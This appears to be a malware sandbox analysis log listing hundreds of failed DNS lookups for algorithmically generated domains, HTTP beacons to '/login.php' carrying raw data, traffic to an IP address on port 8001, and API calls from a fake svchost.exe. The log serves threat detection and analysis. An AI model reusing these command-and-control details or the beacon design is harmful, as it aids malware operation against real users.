Source: unknownDNS traffic detected: query: pufypiq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qebyrev.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gacynuz.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lykytej.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vowycac.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: purypol.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyxyjun.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: ganykaz.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vojyrak.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyryjir.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puvytuq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vocyjic.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qeqyqiv.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pujypup.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qegykiq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lykygur.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gatyduh.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qebyhuq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: ganypih.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qedyrag.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vowypit.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gahyqub.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gacyryw.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qekyqyl.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyryled.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gaqynyw.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puryjil.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyxyjaj.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pupywog.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gaqyfah.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qegyhev.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vocydof.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vonygec.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qetytav.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: purygeg.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qeqytal.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gacyqys.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qekysip.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lykymyr.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qebynyg.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vojyjyc.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pujygul.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puzytap.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gadyfob.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qeqytup.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pufywil.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gatycyb.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gaqycos.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyxyxyd.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vowygem.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gaqypew.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qekyhil.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gahyfow.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qegylep.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qetyvep.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gahynaz.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qexykaq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lygyfir.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gacycus.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pumycug.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qebyxyq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: ganyriz.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: galycuw.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: volygoc.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lygynud.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vofymem.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyrymuj.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyxywer.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyvyxyj.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lykysix.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vojycif.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qegyxug.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lymyjon.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vocypyt.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puvygyq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qebyqil.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puvydov.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pumyliq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pujyteq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lymyfoj.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vopydum.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: galyros.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyvytuj.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qekykev.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pujymel.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qedyfog.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puvybeg.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pupyjuv.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pujydag.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qedyxip.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vonybat.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qedysyp.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vopymyc.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vopygat.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vojybek.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: ganyrys.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lygyvar.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qexytep.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pufydul.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gatyviw.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lysynur.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gadyquz.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puzylol.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vojyquf.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puryxag.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lymytar.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lymytux.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qetykol.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vocygyk.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lysynaj.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qedytul.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pujywiv.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qekyrov.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pumyxiv.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vopyqim.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pufycol.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lymyner.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyryxen.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vocyqaf.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pumylel.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gacyzuz.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pufytev.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pumytol.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: volykyc.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: volyrac.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qebykul.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pupybul.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gatyfaz.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lysyxux.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gahyzez.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pupyxup.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lymywaj.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyrynad.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vocyruk.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lykyxur.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gacyroh.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qetysal.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gahyhys.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: ganyhuh.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puzyciq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vowyrym.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: purypyq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gacyzaw.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lysylej.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: galynab.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vofypuk.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: galykiz.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pujyjup.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gaqyqis.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qeqynel.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lymysud.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puryxuq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: galyzeb.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyxywij.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: purybav.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pufymoq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: volygyf.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gaqycyz.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qeqylyl.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pumyxep.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qebyvop.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyvyjyr.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puzywel.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qekyvav.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pupylaq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qebyteg.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pumypyv.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puzymig.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pujyjav.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyvytan.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qegyfyp.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyvymir.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: galydoz.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lymylij.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gacyqob.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lygysij.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pupyboq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyvyfad.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vowypek.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyvyjox.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lymyxex.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pujycov.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gacyfew.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: purymuq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vofyjuk.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qetynev.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyxygud.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qetysuq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: purytov.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyrywax.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vopydek.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qeqysuv.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lykyjad.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lygyged.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qegyfil.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gahyraw.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lygyjuj.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lygymoj.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lygymyn.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyryfox.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gaqypiz.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puvywup.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: ganynyb.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyvyguj.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: galykes.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vojypuc.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vocykif.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puvytag.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qexyqyv.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vopycyf.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lysysyx.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: ganykuw.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puvywav.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pufyxug.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qedykiv.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vojyzyt.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lygylax.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lysyger.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qexylal.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qekylag.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyvynen.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyvywux.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qegyqug.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: volyquk.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyvyvix.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lygyfex.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puzydal.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: ganyfes.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lysyjid.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vofyzym.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qekyqop.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyvysur.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gadydas.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puvyxeq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pufycyq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lysyfin.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: volycik.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vonykuk.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyxylux.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vojydam.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pufybop.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vonyrot.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puzywuq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyrysyj.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qetyxiq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lygytyd.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qeqyvig.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vopybok.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qedyleq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: volybec.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vocybam.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pumydoq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: ganyvoz.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gahyfyz.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: volyjok.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gaqydus.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gaqyreh.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puvyjyl.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qeqyxyp.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qeqyloq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lymysan.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vofydut.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lygyxun.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vojymet.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vofybic.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gahydoh.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyryvur.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pufylap.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qekyfeg.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gadykos.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puvylyg.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qekytyq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: ganyzub.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puvypul.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lykyfen.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puvycip.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pumygyp.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyxytex.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vofyref.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qebykap.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gaqydeb.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyxysun.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qexyryl.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qegynuv.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: purylev.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lykylan.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vonyzac.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lymygyx.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vopypec.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vocyquc.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qekynuq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gatyrez.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vonyket.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vopypif.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pufygav.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: ganypeb.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puzymev.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gahyvew.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pujylog.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyxyvoj.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gatypub.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lygygin.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gatykow.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qeqyreq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lykywid.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: volyjym.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lygynox.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qedynul.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qebylug.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vopyzuc.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vowyqoc.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vowycut.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qexynyp.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vocykem.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vojygut.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qedyqup.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: galyheh.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pujybyq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyxymin.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puzyguv.com replaycode: Name error (3)
Uses known network protocols on non-standard ports
Source: unknownNetwork traffic detected: HTTP traffic on port 49736 -> 8001
Source: unknownNetwork traffic detected: HTTP traffic on port 8001 -> 49736
Source: unknownNetwork traffic detected: HTTP traffic on port 8001 -> 49736
Source: unknownNetwork traffic detected: HTTP traffic on port 49740 -> 8001
Source: unknownNetwork traffic detected: HTTP traffic on port 8001 -> 49740
Source: unknownNetwork traffic detected: HTTP traffic on port 50845 -> 8001
Source: unknownNetwork traffic detected: HTTP traffic on port 8001 -> 50845
Source: unknownNetwork traffic detected: HTTP traffic on port 50847 -> 8001
Source: unknownNetwork traffic detected: HTTP traffic on port 8001 -> 50847
Source: unknownNetwork traffic detected: DNS query count 1005
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D14AF0 IsNetworkAlive,IsUserAnAdmin,DnsFlushResolverCache,CreateThread,memset,lstrcpynA,lstrcpynA,StrNCatA,StrNCatA,InternetCheckConnectionA,InternetCheckConnectionA,memset,lstrcpynA,StrNCatA,InternetCheckConnectionA,2_2_02D14AF0
Source: global trafficTCP traffic: 192.168.2.5:49736 -> 106.15.137.66:8001
Source: global trafficDNS traffic detected: number of DNS queries: 1005
Source: Joe Sandbox ViewIP Address: 15.197.240.20 15.197.240.20
Source: Joe Sandbox ViewIP Address: 64.190.63.136 64.190.63.136
Source: Joe Sandbox ViewIP Address: 64.190.63.136 64.190.63.136
Source: Joe Sandbox ViewASN Name: AMAZON-AESUS AMAZON-AESUS
Source: Joe Sandbox ViewASN Name: TANDEMUS TANDEMUS
Source: Joe Sandbox ViewASN Name: AKAMAI-ASN1EU AKAMAI-ASN1EU
Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vocyzit.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qetyfuv.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lymyxid.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
